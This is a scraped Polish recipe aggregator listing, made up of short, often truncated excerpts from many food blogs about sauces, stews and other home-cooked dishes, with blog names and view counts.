Całkowicie spontaniczny pomysł na sos pieczarkowy, zrodził coś naprawdę pysznego. Nie pamiętam kiedy ostatni raz jadłam równie dobre danie! Wszystkie składniki idealnie się uzupełniają- gorąco zachęcam do wypróbowania. Moje serce zostało już skradzione. SKŁADNIKI: 200g pieczarek 1/2 puszki mleka kokosowego 50g kostki sojowej (opcjonalnie) 1/2 cebuli 2 ząbki czosnku przyprawy: pieprz czarny mielony, sól podajemy z ziemniakami WYKONANIE: Kostkę sojową

healthy dreams
Cukiniowy sos na zimę 188

Korzystając z resztek dostępnej cukini chciałam Wam pokazać jaki sos przygotowałam sobie na zimę. Możecie go przełozyć do słoików lub zamrozić. Pasuje do wszystkiego – mięs, ryżu, makaronu. Ja najchętniej zjadam go z ugotowaną kaszą i wtedy robi staje się cukiniowym gulaszem. Do przygotowania potrzebujemy: 1 czebulę, utartę na tarce 500 g utarte j cukinii ok 100 ml śmietanki wegańskiej

Szybko Tanio Smacznie
Cytrynowe pulpeciki w sosie pomidorowym 201

doceniany. Kawa zakupił go głównie z myślą o robieniu pulled pork’a. Robimy więc sobie od czasu do czasu taką długo... Artykuł Cytrynowe pulpeciki w sosie pomidorowym pochodzi z serwisu gotować

gotować!
Sofrito - hiszpański tradycyjny sos pomidorowy 225

Sofrito nie jest niczym innym jak tradycyjnym sosem pomidorowym powstałym poprzez przesmażenie aromatycznych składników na oliwie. W Hiszpanii używany jest do ryżu czy jajek, ale także jako baza do wielu potraw (np. świetnie się nadaje jako dodatek do farszu do Empanadas, czy do Ryżu po kubańsku) . Niektórzy przygotowują go wcześniej aby 3-5 dni odstał w lodówce przed wykorzystaniem. Nadaje

Zielona Kuchnia
SOS KURKOWY 207

Pyszny sosik kurkowy.Ten sos robiłam pierwszy raz,nigdy nie jadłam kurek aż do dzisiaj.Sos bardzo nam zasmakował.Można go podawać do makaronu,kasz,ziemniaków i mięsa. SKŁADNIKI 400g kurek 2 łyżki masła sól,pieprz 300 ml śmietanki 30% natka pietruszki WYKONANIE Kurki bardzo dokładnie oczyścić,są one bardzo kruche i delikatne.Większe grzybki można pokroić na mniejsze kawałki a mniejsze

Mała w garnku miesza
GULASZ Z SZYNKI WIEPRZOWEJ 208

przykryciem do miękkości mięsa (około 50-60 minut), co jakiś czas mieszam. W międzyczasie danie doprawiam do smaku solą, cukrem, ziołami prowansalskimi i pieprzem cayenne. W razie potrzeby zagęszczam sos mąką ziemniaczaną rozrobioną w odrobinie zimnej wody i gorącego gulaszu

JejKuchnia
Grzyby leśne z porem w śmietanie 209

łyżeczkę octu winnego oraz sól i pierz. Dusić ok 10 minut. Na koniec dodać śmietanę (1-2 łyżki), ewentualnie doprawić do smaku i dusić jeszcze 5 minut. Jeśli sos będzie przywierać do patelni, dodać trochę wody. Mi najbardziej smakuje z kaszą gryczaną ugotowaną na sypko. Smacznego

Kuchnia domowa Ani
EKSPRESOWY SOS ZE ŚWIEŻYCH GRZYBÓW 164

tymianek, pieprz i sól. Gotuję na małym ogniu do momentu rozpuszczenia się mascarpone, od czasu do czasu mieszam. Na koniec wrzucam posiekaną natkę pietruszki, mieszam. W razie potrzeby sos doprawiam do smaku

JejKuchnia
SOS POMIDOROWY DO PIZZY 197

olej, sól i pieprz do smaku oraz zioła bazylię, zioła prowansalskie oraz majeranek. Blenduję całość dokładniej na gładko. Następnie przekładam do garnka o grubym dnie. Duszę do zredukowania sosu. Przelewam do miski i studzę. Smacznego

Gotowanie Patki
Pyszny sos- radość grzybiarza! 191

moim rejonie jest całkiem sporo. Nie jestem ekspertką, więc zbieram tylko te, których jestem absolutnie pewna. Dzięki kilku wyprawom powstał spory zapas suszonych i marynowanych grzybków, ale także przepyszny sos, przepisem na który chcę się dzisiaj z Wami podzielić. Czytaj więcej

Pichceniomania
Prosty przepis na bajeczne ratatouille 522

skórki, kroję na mniejsze kawałki i wrzucam do pomidorów. 12 Dodaję słodką paprykę, tymianek, pieprz cayenne i sól. 13 Gotuję jeszcze 5 minut i blenduję ręcznym blenderem. 14 Wlewam sos pomidorowo - paprykowy na dno żaroodpornego naczynia. 15 Pokrojone w plastry i paski warzywa układam na przemian w naczyniu. 16 Skrapiam warzywa oliwą. 17 Wkładam naczynie do rozgrzanego piekarnika i piekę

Book of spells
Sos czosnkowy 220

Wspaniały niezawodny sos czosnkowy w moim wydaniu . Najlepszy do placków pizzy i mięs Składniki 3 łyżki śmietany  3 łyżki majonezu  2 średnie ogórki kiszone  1 duży ząbek czosnku  sól pieprz Sposób przygotowania przepisu: 1.  Śmietanę wymieszać z majonezem , zetrzeć na drobnej  tarce czosnek i ogórki kiszone. Doprawić wszystko solą i świeżo mielonym pieprzem

W królestwie smaków Beaty
Gulasz z policzków wołowych w czerwonym winie z kanią 230

tych przerostów usuwać bo w nich jest właśnie mnóstwo dobroci. Wystarczy tylko cierpliwie takie mięso przyrządzić, a odwdzięczy się smakiem i delikatnością. Do takich duszonych policzków i winno grzybowego sosu idealnie pasują knedle . ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Chutney z mirabelek 175

ogniu przez 2 godziny, często mieszając. Po tym czasie odstawić na 24 godziny. Ponownie zagotować, dodać rodzynki, sok i skórkę z otartej cytryny i dusić jeszcze 1 godzinę. Gorący sos przelewać do wyparzonych, suchych słoików. Słoiki  ustawić do góry dnem i tak pozostawić do ostygnięcia....Tyle! Smacznego życzę

Gosia gotuje
Salsa di noci czyli sos z włoskich orzechów 257

przypadkiem 🙂 Nie mogę się nie zgodzić z tym stwierdzeniem, a nawet go potwierdzam. Dlaczego? Bo tego roku przytrafiła mi się... Artykuł Salsa di noci czyli sos z włoskich orzechów pochodzi z serwisu gotować

gotować!
Kluseczki kalafiorowe z kurkami i sosem śmietanowo-serowym 190

haluszki, szpecle albo po prostu kluseczki jajeczne. Nazywajcie je jak chcecie. Bez względu na nazwę są bardzo smaczne. Tym razem dodałam do nich zmiksowanego kalafiora i w połączeniu z sosem serowo kurkowym smakowały po prostu bosko! Wiosną kupiłam sobie na Orawie urządzenie do przecierania kluseczek. Co prawda mam takie specjalne, nakładane na garnek sitka , ale tarka z pojemniczkiem jest wygodniejsza

Smaczna Pyza
Placki z sosem grzybowym 284

działkę, a tam nie warto tracić czasu na przygotowywanie czasochłonnych dań. Wystarczy wyskoczyć do ogródka po cukinię a z fileta drobiowego i zupy … Czytaj dalej Placki z sosem grzybowym

czarrna od kuchni
Kurczak duszony w białym winie 176

żaroodpornego naczynia zalać winem (wcześniej zdeglasowanym na patelni) , dodać podsmażony boczek, pieczarki, cebulę pokrojoną w piórka i dusić ok 40 min w 160 st C.  Na końcu do sosu dodać śmietanę, włożyć mięso jeszcze na ok 10 min do pieca i gotowe.. smacznego

Gaździnka warzy
Pierś kaczki z sosem śliwkowo-piernikowym 292

Bożego Narodzenia, jednak kto powiedział, że można je jeść tylko na święta? Przyprawy korzenne idealnie pasują do śliwek, a one idealnie pasują do mięs! Dziś polecam pierś kaczki w sosie śliwkowo-piernikowym <3 Czytaj więcej

Ana Mari's world
Kotleciki jagnięce w sosie cebulowym z granatem 215

Jagnięcina to jedno z najzdrowszy mięs dostępnych na rynku, bogate... Artykuł Kotleciki jagnięce w sosie cebulowym z granatem pochodzi z serwisu CookMagazine

COOKMAGAZINE
Kolorowe, sierpniowe kaszotto i "Ławeczka pod bzem" 173

żółtego) pół cebuli marchew (użyłam fioletowej) 2-3 łodygi selera naciowego 2 białe papryki pół chili 3 ząbki czosnku 3 natki pietruszki łyżeczka ostropestu sól 2 łyżki przecieru lub sosu pomidorowego (nie koncentratu) Buraka ze skórką pokroić w plasterki grubości 2 mm, a potem na ćwiartki. Cebulę pokroić w kostkę. W głębokiej patelni na rozgrzanym oleju podsmażyć kawałki buraka, cebulę

Weekendy w domu i ogrodzie
Sos cytrynowo-bazyliowy do ryby 268

Bardzo aromatyczny, cytrynowo-bazyliowy, maślany sos, który idealnie sprawdza się jako dodatek do ryby. Śmietanę wymieszać widelcem z żółtkiem jaja. Bazylię drobno posiekać. Masło rozpuścić w małym garnku. Dodać mąkę

Bullio
GULASZ Z ŻOŁĄDKÓW DROBIOWYCH I SUSZONYCH GRZYBÓW LEŚNYCH 234

pieprz, ziele angielskie i liść laurowy, zalać wodą. Gotować na mniejszym ogniu do miękkości mięsa.  Mąkę dobrze rozmieszać z odrobiną wody. Wlać do garnka w celu zagęszczenia sosu. Gulasz jeszcze chwilkę gotować

Zrób to smacznie
Kurki z filetem z kurczaka w sosie śmietanowym, sos kurkowy 897

kolejnego dnia, na śniadanie była pyszna jajecznica z kurkami. Domownicy mieli już dosyć   mało domowych obiadów na mieście więc na obiad dziś kurki z filetem z kurczaka w sosie śmietanowym z koperkiem. To był pyszny obiad :) Składniki: 500g kurek 1 pojedynczy filet z kurczaka 2 średnie cebule 150 ml śmietanki 30% sól pieprz czarny świeżo mielony do smaku olej

W garach u Gosi
Pieczarki z grilla 190

pieczarki są świetnym dodatkiem do grillowanych mięs. Polecam! inspiracja  tutaj Składniki ( dla 4 osób) ok 250 g bardzo drobnych pieczarek (mini) marynata: 2 łyżki octu balsamicznego 1 łyżka sosu sojowego 3 ząbki czosnku, posiekane 1/2 łyżeczki suszonego majeranku sól i pieprz do smaku Przygotowanie Grzyby umyć i osuszyć. Przełożyć do miseczki. Wymieszać składniki marynaty, zalać grzyby, obtoczyć w marynacie

Stare Gary
Cukiniowe spaghetti z pesto, halloumi i pomidorami 202

wymyśleć kolejne jak to z bobu i mięty…Dlatego cukiniowe spaghetti będzie smakować za każdym razem inaczej i na pewno mi się nie znudzi. Pesto zastępuje tradycyjny sos do makaronu. Baaardzo lubię makaron z pesto , a jak dodam do niego grillowane halloumi i słodkie pomidorki to przeżywam kulinarny orgazm! Zauważyliście piękną serwetę na moim stole? Moja kuzynka robi takie

codojedzenia
Salsa pomidorowa, domowe nachosy i pieczone warzywa 199

pokrojoną w kostkę cebulę i smażyć do zeszklenia. Wlać pomidory z puszki oraz resztę pokrojonych warzyw. Gotować przez 3 minuty. Doprawić bazylią, oregano, solą, pieprzem i szczyptą cukru. Przelać sos do miksera, dodać kolendrę i krótko zblendować. DOMOWE NACHOSY 200 g mąki tortowej 200 g mąki kukurydzianej 300 g wody 2 łyżeczki kuminu 2 łyżeczki ostrej papryki 1 łyżeczka słodkiej

Pieguskowa Kuchnia
Sos do spaghetti do słoików 11642

Pyszny przepis mojej mamy-robimy go od lat jest niezwykły pełny warzyw i smaku.Idealny pomysł dla zapracowanych bo wystarczy podsmażyć w zimie np mięsko mielone i dodać sos ze słoika i gotowy bardzo smaczny obiad w 5 min. Warto się zaopatrzyć w taki sosik szczególnie teraz kiedy warzywa są tanie lub we własnym ogrodzie-i do tego najpyszniejsze-polecam gorąco

Swojskie jedzonko
Śledziki pod cebulową pierzynką 284

rozgrzewamy 2 łyżki oleju i podsmażamy cebulę. W momencie jak cebula nam się już zeszkli dodajemy koncentrat pomidorowy (słoiczek po koncentracie płuczemy odrobiną wody i dodajemy na patelnię, aby sos się nie przypalił). Całość dusimy jeszcze przez chwilę i dodajemy 3 łyżeczki curry. Zdejmujemy z ognia i odstawiamy do przestudzenia. Śledzie kroimy na ok. 1-2 cm paseczki i układamy

Kulinarnyblog.pl - wiesz jak gotować!
Placki cukiniowe z duszoną marchewką 226

Składniki: 1/2 średniej cukinii 1 jajko 2 ząbki czosnku 1/2 cebuli 3/4 szklanki mąki 2-3 łyżki jogurtu naturalnego sól, pieprz sos: 3-4 marchewki 1 puszka groszku 1/2 łyżki mąki pszennej … Czytaj dalej Placki cukiniowe z duszoną marchewką

czarrna od kuchni
Ragout z polędwiczką i jajkiem 165

Proste i pyszne danie. Super smakuje z ryżem. Jajka ugotować na twardo i obrać z łupinek. Polędwiczkę pokroić w słupki. Na patelni rozgrzać olej i obsmażyć

Kuchnia Pokoleń
Cukinia w pomidorach-do słoików 413

Pyszny sposób ,żeby zimą cieszyć się dalej smakiem cukinii i pomidorów-potem tylko otwieramy słoik podsmażymy mięsko i sos do makaronu gotowy,można również dodać do gulaszu czy ryżu-polecam ten słodko-kwaśny dodatek do dań Składniki: 1,5 kg cukinii(waga już bez nasion ) 500 g czerwonej cebuli 1 łyżka soli(u mnie czubata) 1/2 łyżki słodkiej papryki

Swojskie jedzonko
Pasta ze słonecznika i suszonych pomidorów 162

pomidorów to doskonałe smarowidło do chleba, ale nie tylko. Możesz posmarować nią placki tortilli lub wytrawne naleśniki przed nałożeniem nadzienia, możesz posmarować rozbite mięso na roladki, nawet użyć zamiast sosu pomidorowego do pizzy - ogranicza Cię tylko wyobraźnia ;) Pasta może stać w lodówce (zamknięta w słoiku) kilka dni. Ale podpowiem też, że jak to dla Ciebie za dużo, to możesz też

Kolorowy Przepisownik
Makaron z oregano, sosem pomidorowym z łopatką wieprzową i boczniakami 163

talerzu. Passatę pomidorową połączyłam z mięsem a potem z makaronem i danie prawie gotowe, potem tylko boczniaki i danie wjeżdża na stół. Zapraszam do spróbowania. Makaron z oregano, sosem pomidorowym z łopatką wieprzową i boczniakami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Udka kurczaka w aromatycznym sosie z pomarańczy 181

Dziś zapraszamy Was do wspólnego przygotowania dania jakim są UDKA... Artykuł Udka kurczaka w aromatycznym sosie z pomarańczy pochodzi z serwisu CookMagazine

COOKMAGAZINE
Indyk w sosie musztardowo-miodowym, brokuł i makaron bezglutenowy 188

trening. Tym razem w daniu przewagę mają zdecydowanie węglowodany, których jest najwięcej, jednak nie brakuje także białka i odrobiny tłuszczu. Bez wątpienia warto spróbować piersi z indyka w sosie musztardowo-miodowym, jeżeli lubisz słodko-ostre dania. Składniki 250 g filetu z piersi indyka 100 g makaronu z mąki kukurydzianej (bezglutenowy, penne/świderki/spaghetti) 150 g brokułu 1 łyżeczka oleju kokosowego

Programista w kuchni
kurczak w sosie słodko-kwaśnym 170

Sos który powstał na potrzebę wykorzystania produktów które zostały w lodówce. Jest szybki do zrobienia. Boczku można dać mniej ponieważ ma on dać jedynie aromat wędzonki. 1 pojedyncza pierś z kurczaka ok 250  g boczku wędzonego 1 mała cebula 140 g kukurydzy po odsączeniu 10 listków świeżej bazylii papryka ostra, sól, pieprz pasata pomidorowa około szklanka pół papryki czerwonej

cukrem pudrem posypane
Naleśniki zapiekane pod sosem beszamelowym 205

Naleśniki z farszem z mielonego mięsa, pomidorów i szpinaku, zapieczone pod sosem beszamelowym i mozzarellą. Bardzo sycący obiad. Mięso zmielić w maszynce do mielenia. Cebulę drobno posiekać i przesmażyć

Bullio
Roladki z flondry w sosie serowym 166

dobre w smaku, delikatna rybka. Co ważne tania rybka. Płaty flondry umyć osuszyć, doprawić solą i pieprzem z obydwu stron. Zawinąć w roladki, postawić pionowo w naczyniu żaroodpornym. Przygotowanie sosu – na patelni roztopić masło, dodać mleko, vegetę, gałkę muszkatołową, zagotować. Doprawić solą i pieprzem do smaku. Dodać wszystkie sery, oczywiście potarte. Podgrzewać aż się rozpuszczą. Dodać koperek, natkę pietruszki

Kuchnia Pokoleń
Kurczak w zielonym sosie z marchewkowym spaghetti 223

Delikatne kąski kurczaka w gęstym sosie z dużą ilością zielonego. Zamiast zwykłego makaronu nitki jarzynowe , z chrupiącej marchewki. Taki obiad to piękne kolory na talerzu i świetny smak. Jestem pewna, że ani dzieci, ani nikt inny nie odmówi porcji takiego dania. Takie warzywne spaghetti możecie zrobić sami jeśli macie specjalne urządzenie tzw. spiralizer. Jednak dużo prościej kupić gotowe w sklepie

Smaczna Pyza
Szałołt ze melōnym (Sałatka z melonem) 164

polōnie 28 zōłzōm i… smacznego 1 ō- samogłoska w wymowie między o i u 2 ô= ło 3 będzie 4 bał 5 ktoś 6 pokroi 7 możecie 8 sos 9 innych 10 przepisach 11 ja 12 pół 13 mieszanki 14 garście 15 pomidory 16 cytryna 17 obierzcie 18 pokrójcie 19 idą 20 tą 21 leniwy 22 wrzućcie 23 mniejsze

Chop w kuchni
Nuggetsy z piekarnika 461

Wkładamy do rozgrzanego do 180 stopni piekarnika na 15 minut. W połowie pieczenia możemy przewrócić nuggetsy na drugą stronę, by równomiernie się przyrumieniły. Nuggetsy doskonale smakują z domowej roboty sosem tysiąca wysp

Dieta bez mleka
Naleśniki z serem i karmelizowanymi pomarańczami 218

mnie naleśniki. Pojawiają się i znikają, ponieważ moja ro dzina jest mega naleśnikożerna :) Tym razem oprócz tra dycyjnego sera z cynamonem jako na dzienia, proponuję polać je kwaskowym sosem z pomarańczy. Spróbujcie :) Skła dniki na ciasto: 1 szklanka mąki pszennej szczypta solo 2 jajka w temperaturze pokojowej 2 łyżki drobnego cukru zapach waniliowy 200 ml śmietanki 30% 200 ml mleka

ChilliJemy
Placki z cukinii z sosem koperkowym 223

cukinii idealnie sprawdzą się na obiad w gorące dni, kiedy nikt nie ma ochoty na syte dania mięsne. Wychodzą złociste i pysznie chrupiące. Smakują najlepiej w połączeniu z lekkim sosem koperkowym. Zapewniam Was, że każdy domownik z pewnością je polubi i staną się jednym z częstych obiadów. Czytaj więcej

Czekoladowa muffinka
Pennne Z Sosem Warzywnym 187

jeśli macie zaufanie do swoich kuchenek i patelni to nie musicie co chwilkę sprawdzać czy aby się nie przypala, ja nie mam i dlatego często zaglądam pod pokrywkę ;) Gotowy sos wykładamy na jeszcze ciepły makaron. Smacznego !!! Ps.  Warzywa Bonduelle uprawiane są w najlepszych strefach klimatycznych dla danych warzyw, dlatego Kukurydza pochodzi z ciepłych Węgier, a groszek z Polskich Kujaw

Gotowanie...to proste !
Aioli. Prowansalski majonez czosnkowy. 205

było, ten czosnkowy majonez jest niezaprzeczalnie częścią kuchni prowansalskiej. Jest jej prawdziwą ikoną! Pojęcie "le grand aioli" odnosi się właściwie do całego dania, w skład którego, oprócz sosu, wchodzą blanszowane marchewki (najczęściej), ziemniaki, karczochy, fasolka szparagowa, ryby i inne owoce morza, ślimaki i jajka. Ilość czosnku, która występuje w oryginalnych francuskich recepturach nie przestaje mnie zadziwiać i fascynować - nawet przyjmując

zadanie-gotowanie
Banany ze grilla (Grillowane Banany) 184

ogródka 6 różne 7 zobaczyłem 8 wrzucić 9 babcia 10 żony 11 pukała 12 głowę 13 miękkiego 14 który 15 ustach 16 raz 17 zrobiłem 18 cytrynowy 19 sos 20 kilka 21 rozpalony 22 przygotujemy 23 garnuszka 24 mała patelnia 25 gotujcie 26 zgęstnieje 27 zacznie 28 są 29 gotowe 30 obetnijcie Artykuł Banany ze grilla (Grillowane Banany) pochodzi

Chop w kuchni
Gołąbki z młodej kapusty , podwójnie kapuściane 214

około godziny ). Następnie dolewamy śmietankę i zagęszczamy mąką , ostrożnie mieszając , dookoła gołąbków , tak ,żeby ich nie porozrywać ( wystarczy, energicznie poobracać garnkiem i też jest ok ) do uzyskania lubianej konsystencji sosu ( nie musicie, wlewać całej mąki z wodą ) . Gołąbki podajemy na gorąco , najlepiej z malutkimi , młodymi ziemniakami z koperkiem Smacznego ! Post Gołąbki z młodej kapusty , podwójnie kapuściane pojawił się poraz pierwszy

Ogrodnik w podróży
Pizza farmerska z kurczakiem, jarmużem, kukurydzą i groszkiem 200

Dzisiaj zaproponować chcę Wam pyszną pizzę z całym mnóstwem warzyw : złocista kukurydza , pachnący zielony groszek i zdrowy jarmuż . W tle oczywiście sos pomidorowy z całym mnóstwem ziół, odrobina żółtego sera i kurczak dla równowagi. Koniecznie musicie spróbować, bo jest rewelacyjna w smaku. No właśnie... A jeśli chodzi o kukurydzę Bonduelle , to taki nawyk w domu mamy, że na pizzę kukurydzę

Passions hobbies life
Grillowane warzywa z kurczakiem i kaszą kuskus 251

Ostatnio moim ulubionym wiosenno/letnim obiadem są grillowane/pieczone warzywa z mięsem z udek kurczaka, do tego koniecznie kasza kuskus i sos tzatziki! Od razu kojarzą mi się greckie wakacje <3 Czytaj więcej

Ana Mari's world
Dressing jogurtowy 161

Mamy pełnię lata (chociaż właściwie kalendarzowo wciąż trwa wiosna, jeszcze przez tydzień) więc to dobry moment na przerzucenie się z ciężkich śmietanowych sosów na znacznie lżejsze jogurtowe. Ten jogurtowy dressing, który chcę dzisiaj Wam zaproponować idealnie skomponuje się z lekkimi wiosenno-letnimi sałatkami. Bo też teraz znacznie częściej wybieramy właśnie dania lżejsze. Często zamiast sutego obiadu jemy po prostu lekkie

Marder&Marder Manufacture
Dip czosnkowy 178

czosnkowy bije ostatnio rekordy popularności. Jako dodatek do pizzy przebił nawet ketchup:) Osobiście nie przepadam ze tymi sosami ze sklepu lub w pizzeriach. Są mało czosnkowe:) A tak naprawę ten dip jest dziecinnie prosty w przygotowaniu. Dip czosnkowy: 3 łyżki majonezu 3 łyżki gęstej śmietany 18% 2-3 ząbki czosnku łyżeczka majeranku sól Czosnek siekamy na drobno lub przeciskamy przez

PatiGotuje
Chmurki z białek 216

sposobu smażenia i mocy urządzenia. Moje chmurki smażyły się około 6-7 minut (po 3 minuty z każdej strony). Takie chmurki to wyśmienity i niebanalny dodatek do wszelkiego rodzaju sosów, zarówno tych mięsnych, jak i grzybowych. Smacznego Artykuł Chmurki z białek pochodzi z serwisu PatiGotuje

PatiGotuje
Sos chrzanowy do wędlin 131

Sos chrzanowy pojawia się u mmnie w domu zarówno w Święta jak i na codzień odkąd pamiętam. Jest to mój ulubiony dodatek do wędlin, zwłaszcza tych wędzonych. Przepis jest bardzo prosty, warunkiem sukcesu jest tylko dobry chrzan, reszty nie da się zepsuć. Jeżeli jeszcze go nie znacie, koniecznie spróbujcie zrobić. Składniki: 170 g chrzanu tartego 3 jajka 3 łyżki śmietany

Fitsweet.me
Szaszłyki z piekarnika 222

mamy ogródka lub jest brzydka pogoda a mamy ochotę na obiad z grillowanym mięsem, polecam domowe szaszłyki z piekarnika. Podałam je z ryżem (z kurkumą) i sosem tzatziki. Czytaj więcej

Ana Mari's world
Orientalne szaszłyki z mięsa mielonego 854

łyżeczka kminu rzymskiego 1/3 łyżeczki mielonego cynamonu 1 łyżeczka ziaren kolendry 1/2 łyżeczki kurkumy 1/2 łyżeczki suszonego czosnku szczypta chili sól pieprz Dodatkowo: patyczki do szaszłyków (namoczone w wodzie) sos ziołowy „Winiary” w butelce olej do posmarowania Przygotowanie: Kmin rzymski i kolendrę utrzeć w moździerzu. Wszystkie składniki dokładanie ze sobą wymieszać, doprawić solą i pieprzem. Gdyby masa była

Oryginalny smak
Klopsiki z mozzarellą w sosie pomidorowym 158

Pulpeciki pełne ziół i przypraw, z ciągnącym się serowym wnętrzem, polane sosem pomidorowym to ciekawy pomysł na odświeżenie i uatrakcyjnienie tradycyjnego przepisu. Zasmakują zarówno najmłodszym jak i starszym fanom dobrej kuchni. W wersji dla tych drugich smak można podkręcić dodając papryczki chili lub jalapeno. Czytaj więcej

Czekoladowa muffinka
DELIKATNY SOS PIECZARKOWY 153

pieczarki, smażę często mieszając do momentu, aż woda z pieczarek wyparuje i lekko się zarumienią. Solę, dodaję masło i natkę, smażę kolejne 3 minuty. Wlewam śmietanę i doprawiam pieprzem. Sos zagotowuję i zdejmuję z ognia

JejKuchnia
Królewski grill , czyli żeberko i karczek 192

height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Serwujemy z ziemniaczkami zapiekanymi z pieczarką, sałatą i sosem cebulowo-ogórkowym ( przepis wkrótce na blogu ) .. Smacznego " class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height

Ogrodnik w podróży
Wątróbka w sosie pomidorowym z ananasem 283

chilli. Gorącą wątróbkę i ryż wyłożyć na talerz. Posypać posiekanym świeżym szczypiorkiem. Smacznego :) Kategoria: A-Z WYTRAWNIE , Mięsa , Obiad , Obiad na szybko Tagged: ananas , podroby , przecier pomidorowy , ryż , sos

https:KKuchniaMniam
Karkówka w porach z piekarnika 247

wstawić do nagrzanego piekarnika do 200 C i piec godzinę. W połowie pieczenia można sprawdzić smak i w razie potrzeby doprawić lub podlać lekko wodą jak byłoby za mało sosu. Jeśli mięso nie będzie jeszcze miękkie to chwilkę przedłużyć pieczenie. Super smakuje z kaszą, smacznego

Kuchnia Pokoleń
Buddha bowl czyli miseczka rozmaitości 232

Od jakiegoś czasu wszyscy się zachwycają buddha bowl, nazwaną po polsku miseczką rozmaitości. Wiadomo, czasem mody jedzeniowe są bardzo dziwne, ale ta akurat całkiem fajnie nam

slodkokwasnapl
Zdrowa pizza orkiszowa z batatami i nerkowcami 178

Zdrowa pizza z mąki orkiszowej z batatami, nerkowcami i domowym sosem pomidorowym to nasza druga ulubiona fit pizza (obok Pizzy orkiszowej z mozzarellą i pomidorami ), w której gustuje cała nasza rodzinka. Połączenie słodkich batatów, z chrupiącymi orzechami, słodko-kwaśną bazą pomidorową i odrobiną mozzarelli jest przepyszne (weganie mogą pominąć mozzarellę i dać więcej nerkowców). Pizza znika na ciepło, jak również

Moja Delicja
Crème fraîche 172

rème fraîche, czyli z francuskiego świeża śmietana to królowa wśród śmietan. Cudownie gęsta, lekko kwaśna i bardzo kremowa. Idealna jako dodatek do zup, sosów i deserów — bosko smakuje ze świeżymi owocami, szczególnie polecam ją do truskawek oraz malin. Crème fraîche to również podstawa wielu fracuskich dań, między innymi alzackiej tarte flambée , na którą przepis podam niebawem. To, co czyni

Food Square
Szybka przystawka – roladki z szynki 434

szybką przystawkę, przygotujcie roladki z szynki. Przystawka ta idealnie będzie pasować na spotkanie ze znajomymi, Święta Wielkanocne, czy Bożego Narodzenia. Jako dodatek do roladek możecie podać chrzan, ćwikłę, albo sos czosnkowy . Roladki z szynki – składniki 12 dużych plastrów szynki 4 jajka 100 g szynki w kawałku szczypiorek 1/2 czerwonej papryki sól pieprz łyżka majonezu Roladki z szynki – przepis

Kulinarnyblog.pl - wiesz jak gotować!
Fasolka po toskańsku 235

puszki wraz z zalewą, posiekane liście bazylii, suszoną bazylię, suszone oregano oraz sól i pieprz do smaku. Całość gotować bez przykrycia, na średnim ogniu, aż do częściowego zgęstnienia sosu, przez około 20 minut. Następnie dodać odcedzoną i opłukaną fasolkę, wymieszać i gotować przez kolejne 20 minut. Pod sam koniec gotowania dodać posiekaną natkę pietruszki, przyprawić solą i pieprzem do smaku

Gospodyni Miejska
Pulpety w sosie pieczarkowym 215

woda odparuje, zalać świeżą wodą (1,5-2 szklanki), doprowadzić do przenia. Posmażone pulpety dodać do pieczarek, całość gotować na wolnym ogniu ok 20 minut. Wyjąć mięso. Zagęścić sos - 2 łyżki mąki wymieszać z 2 łyżkami śmietany i odrobiną zimnej wody. Wlać do pieczarek, doprawić solą i pieprzem do smaku. Dodać z powrotem mięso i zagotować. 5. Podawać z ulubionymi

Kuchnia domowa Ani
Zdrowa pizza orkiszowa z mozzarellą 180

Zdrowa pizza z mąki orkiszowej z mozzarellą, pomidorami i rukolą , na domowym sosie pomidorowym to nasza ulubiona pizza fit, którą często robimy i nie mamy wyrzutów sumienia po jej zjedzeniu. Nasza córeczka tak bardzo ją polubiła, że często prosi o jej przygotowanie. Przepis na tę pizzę pochodzi z książki „Jedz i pracuj nad własnym zdrowiem” i wg autora

Moja Delicja
Zrazy wołowe – tradycyjny obiad – prosty przepis 288

gotowania będzie można jej dolać, jeśli nazbyt odparuje. Dodajemy pokrojoną cebulę, ziele angielskie, kilka listków laurowych. Gotujemy pod przykryciem minimum godzinę, aż mięso zmięknie. W razie potrzeby dolewamy wody. Sos który zostanie po gotowaniu zagęszczamy mąką lub śmietaną. Pyszny domowy obiad gotowy

MarcinChef
Kluski z kaszy gryczanej z truskawkami w sosie truskawkowym 178

odmrozić zmiksować dodać 1/2 szklanki wody zagotować posłodzić wg uznania ,dodać cukier waniliowy  • W 1/2 szklance wody rozmieszać 2 łyżki mąki ziemniaczanej wlać na gotujące truskawki zagotować.  • Sosem polać ugotowane kluski

W królestwie smaków Beaty
Kurczak słodko-kwaśny 200

rodem z popularnego "Chińczyka", a jednak tysiąc razy lepszy, bo bez glutamininau sodu i innych niepożądanych dodatków. Zawsze lubiłam to danie, a nigdy nie robiłam. Okazuje się, że sos jest bajecznie prosty do przygotowania i to z powszechnie dostępnych składników. Uwielbiam połączenie mięsa z owocowymi dodatkami. Dla mnie danie jest zachwycające. Polecam użycie świeżego ananasa! Ulepek z puszki raczej

Gotuj zdrowo!Guten Appetit!
Sos chrzanowy 177

Szybki i smaczny sos chrzanowy. Nieodzowny dodatek Wielkanocnych posiłków. Składniki : łyżka masła 2 łyżki mąki pszennej pół szklanki bulionu 2 łyżki śmietany 18% 1-1,5 łyżki chrzanu tartego sól, pieprz  Przygotowanie : W rondlu rozpuszczamy masło i dodajemy mąkę robiąc zasmażkę.  Dodajemy chrzan i chwilkę podsmażamy pozbywając się w ten sposób nadmiaru octowego smaku. Bulion i śmietanę dodajemy

Mechanik w kuchni
Frankfurcki zielony sos 161

Sos pasuje do jajek na twardo, gotowanego mięsa i drobiu na zimno, wędlin, zimnych pieczeni, gotowanych warzyw podawanych na zimno ( szparagi, brokuły, kalafior ), filetów śledziowych.Do "F"szystkiego :P Składniki 3 jajka ugotowane na twardo 3 łyżki oleju 150 ml jogurtu 150 ml gęstej śmietany 1 mała cebula sok z jednej cytryny 1 łyżeczka musztardy sól pieprz cukier 1 ogórek

R'n'G Kitchen
Sos tatarski do jajek na twardo. 183

pieprz czarny mielony Sposób wykonania :   W szystkie składniki daj do miski lub rondla , dopraw do smaku solą i pieprzem, dokładnie wymieszaj. Gotowe ! Jeśli chcesz możesz jeszcze udekorować sos wg. uznania i pomysłu.                           Smacznego

Przepisy i porady kulinarne
sos miętowy 225

